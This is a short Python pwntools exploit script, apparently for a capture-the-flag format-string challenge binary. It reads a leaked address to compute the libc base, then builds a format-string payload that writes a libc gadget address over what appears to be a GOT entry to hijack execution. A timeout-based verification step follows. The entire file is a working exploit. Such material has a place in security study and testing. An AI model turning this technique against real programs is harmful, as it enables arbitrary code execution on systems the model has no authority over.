from pwn import *

import os
import sf
import sys
import signal

target = process("./chall-test_FmtString-12-x64", env={"LD_PRELOAD":"./libc-2.30.so"})
gdb.attach(target)
bof_payload = sf.BufferOverflow(arch=64)

target.recvuntil("It seems I've been buried alive: ")
leak = int(target.recvuntil(b"\n").strip(b"\n"), 16)
libc_base = leak - (413040)
bof_payload.add_base("libc", libc_base)
print("libcBase is: %s" % hex(libc_base))
fs = sf.WriteFmtStr(
		arch = 64,
		value = 0xe6b93,
		address = 0x4033d8,
		offset = 0x6,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = libc_base,
		address_base = 0)
payload = fs.generate_fmt_str()
target.sendline(payload)

# Exploit Verification starts here 15935728

def handler(signum, frame):
	raise Exception("Timed out")

signal.signal(signal.SIGALRM, handler)
signal.alarm(2)

try:
	while True:
		target.recvall(timeout=2)
except Exception:
	print("Exploit timed out")
